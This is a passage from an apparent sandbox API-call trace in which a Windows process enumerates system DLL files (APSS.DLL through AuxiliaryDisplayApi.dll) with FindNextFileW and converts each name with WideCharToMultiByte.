cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0041.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APSS.DLL", cchWideChar=8, lpMultiByteStr=0x90c288, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APSS.DLL", lpUsedDefaultChar=0x0) returned 8 [0041.751] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31c9efbc, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x31c9efbc, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xf2a6d430, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="asferror.dll", cAlternateFileName="")) returned 1 [0041.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASFERROR.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASFERROR.DLL", cchWideChar=12, lpMultiByteStr=0x90c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ASFERROR.DLL", lpUsedDefaultChar=0x0) returned 12 [0041.751] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x57090500, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x6cc0, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="aspnet_counters.dll", cAlternateFileName="")) returned 1 [0041.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASPNET_COUNTERS.DLL", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0041.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASPNET_COUNTERS.DLL", cchWideChar=19, lpMultiByteStr=0x90c288, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ASPNET_COUNTERS.DLL", lpUsedDefaultChar=0x0) returned 19 [0041.752] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84e661b3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84e661b3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84e661b3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10800, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="asycfilt.dll", cAlternateFileName="")) returned 1 [0041.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASYCFILT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASYCFILT.DLL", cchWideChar=12, lpMultiByteStr=0x90c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ASYCFILT.DLL", lpUsedDefaultChar=0x0) returned 12 [0041.752] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d2b74b, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x2d2b74b, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x805466c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11200, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="atl.dll", cAlternateFileName="")) returned 1 [0041.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL.DLL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0041.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL.DLL", cchWideChar=7, lpMultiByteStr=0x90c288, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATL.DLL", lpUsedDefaultChar=0x0) returned 7 [0041.752] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b0b4600, ftCreationTime.dwHighDateTime=0x1cc2787, ftLastAccessTime.dwLowDateTime=0xcc438260, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0x4b0b4600, ftLastWriteTime.dwHighDateTime=0x1cc2787, nFileSizeHigh=0x0, nFileSizeLow=0x21b48, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="atl100.dll", cAlternateFileName="")) returned 1 [0041.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL100.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0041.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL100.DLL", cchWideChar=10, lpMultiByteStr=0x90c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATL100.DLL", lpUsedDefaultChar=0x0) returned 10 [0041.752] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29b8ce00, ftCreationTime.dwHighDateTime=0x1ce64f7, ftLastAccessTime.dwLowDateTime=0xef797c80, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0x29b8ce00, ftLastWriteTime.dwHighDateTime=0x1ce64f7, nFileSizeHigh=0x0, nFileSizeLow=0x28248, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="atl110.dll", cAlternateFileName="")) returned 1 [0041.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL110.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0041.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL110.DLL", cchWideChar=10, lpMultiByteStr=0x90c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATL110.DLL", lpUsedDefaultChar=0x0) returned 10 [0041.752] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9363019e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9363019e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x936562fe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x47e00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="atmfd.dll", cAlternateFileName="")) returned 1 [0041.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATMFD.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0041.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATMFD.DLL", cchWideChar=9, lpMultiByteStr=0x90c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATMFD.DLL", lpUsedDefaultChar=0x0) returned 9 [0041.752] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9360a03e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9360a03e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9363019e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="atmlib.dll", cAlternateFileName="")) returned 1 [0041.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATMLIB.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0041.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATMLIB.DLL", cchWideChar=10, lpMultiByteStr=0x90c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATMLIB.DLL", lpUsedDefaultChar=0x0) returned 10 [0041.752] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4204ec3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb4204ec3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb4204ec3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3b800, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="audiodev.dll", cAlternateFileName="")) returned 1 [0041.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIODEV.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIODEV.DLL", cchWideChar=12, lpMultiByteStr=0x90c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDIODEV.DLL", lpUsedDefaultChar=0x0) returned 12 [0041.752] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78f79a81, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x78f79a81, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x80675280, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5b800, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="AudioEng.dll", cAlternateFileName="")) returned 1 [0041.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOENG.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOENG.DLL", cchWideChar=12, lpMultiByteStr=0x90c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDIOENG.DLL", lpUsedDefaultChar=0x0) returned 12 [0041.753] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce47270e, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0xce47270e, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0xad59f9a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6c200, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="AUDIOKSE.dll", cAlternateFileName="")) returned 1 [0041.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOKSE.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOKSE.DLL", cchWideChar=12, lpMultiByteStr=0x90c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDIOKSE.DLL", lpUsedDefaultChar=0x0) returned 12 [0041.753] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87266eb6, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87266eb6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87266eb6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2fc00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="AudioSes.dll", cAlternateFileName="")) returned 1 [0041.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOSES.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOSES.DLL", cchWideChar=12, lpMultiByteStr=0x90c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDIOSES.DLL", lpUsedDefaultChar=0x0) returned 12 [0041.753] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68ceb7bb, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x68ceb7bb, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x80733960, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x35000, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="AuditNativeSnapIn.dll", cAlternateFileName="")) returned 1 [0041.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITNATIVESNAPIN.DLL", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0041.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITNATIVESNAPIN.DLL", cchWideChar=21, lpMultiByteStr=0x90c120, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDITNATIVESNAPIN.DLL", lpUsedDefaultChar=0x0) returned 21 [0041.753] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1010d4, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x6a1010d4, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x80733960, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd800, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="AuditPolicyGPInterop.dll", cAlternateFileName="")) returned 1 [0041.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITPOLICYGPINTEROP.DLL", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0041.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITPOLICYGPINTEROP.DLL", cchWideChar=24, lpMultiByteStr=0x90c288, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDITPOLICYGPINTEROP.DLL", lpUsedDefaultChar=0x0) returned 24 [0041.753] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6732ea88, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x6732ea88, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xf6ab4570, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x17400, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="auditpolmsg.dll", cAlternateFileName="")) returned 1 [0041.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITPOLMSG.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0041.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITPOLMSG.DLL", cchWideChar=15, lpMultiByteStr=0x90c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDITPOLMSG.DLL", lpUsedDefaultChar=0x0) returned 15 [0041.753] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb08b31c, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xb08b31c, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x808b0720, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x51a00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="authfwcfg.dll", cAlternateFileName="")) returned 1 [0041.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWCFG.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0041.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWCFG.DLL", cchWideChar=13, lpMultiByteStr=0x90c288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHFWCFG.DLL", lpUsedDefaultChar=0x0) returned 13 [0041.753] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a14413, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x9a14413, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x808fe920, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x48a00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="AuthFWGP.dll", cAlternateFileName="")) returned 1 [0041.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWGP.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWGP.DLL", cchWideChar=12, lpMultiByteStr=0x90c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHFWGP.DLL", lpUsedDefaultChar=0x0) returned 12 [0041.753] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9aed7d9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9aed7d9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9af4a1bd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4d5000, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="AuthFWSnapin.dll", cAlternateFileName="")) returned 1 [0041.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWSNAPIN.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0041.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWSNAPIN.DLL", cchWideChar=16, lpMultiByteStr=0x90c288, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHFWSNAPIN.DLL", lpUsedDefaultChar=0x0) returned 16 [0041.754] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0eeeaef, ftCreationTime.dwHighDateTime=0x1ca0406, ftLastAccessTime.dwLowDateTime=0xcd1a5500, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x3931bcc5, ftLastWriteTime.dwHighDateTime=0x1ca0421, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="AuthFWWizFwk.dll", cAlternateFileName="")) returned 1 [0041.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWWIZFWK.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0041.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWWIZFWK.DLL", cchWideChar=16, lpMultiByteStr=0x90c120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHFWWIZFWK.DLL", lpUsedDefaultChar=0x0) returned 16 [0041.754] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acdeb81, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8acdeb81, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ad04ce2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1b5800, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="authui.dll", cAlternateFileName="")) returned 1 [0041.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHUI.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0041.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHUI.DLL", cchWideChar=10, lpMultiByteStr=0x90c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHUI.DLL", lpUsedDefaultChar=0x0) returned 10 [0041.754] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x714738cc, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x714738cc, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x80ac71d0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x18200, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="authz.dll", cAlternateFileName="")) returned 1 [0041.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHZ.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0041.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHZ.DLL", cchWideChar=9, lpMultiByteStr=0x90c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHZ.DLL", lpUsedDefaultChar=0x0) returned 9 [0041.754] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9bee9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9bee9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9bee9c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23e00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="autoplay.dll", cAlternateFileName="")) returned 1 [0041.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTOPLAY.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTOPLAY.DLL", cchWideChar=12, lpMultiByteStr=0x90c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTOPLAY.DLL", lpUsedDefaultChar=0x0) returned 12 [0041.754] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc3f99b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xfdc3f99b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x80b12cc0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1d400, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="AuxiliaryDisplayApi.dll", cAlternateFileName="")) returned 1 [0041.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUXILIARYDISPLAYAPI.DLL", cchWideChar=23, 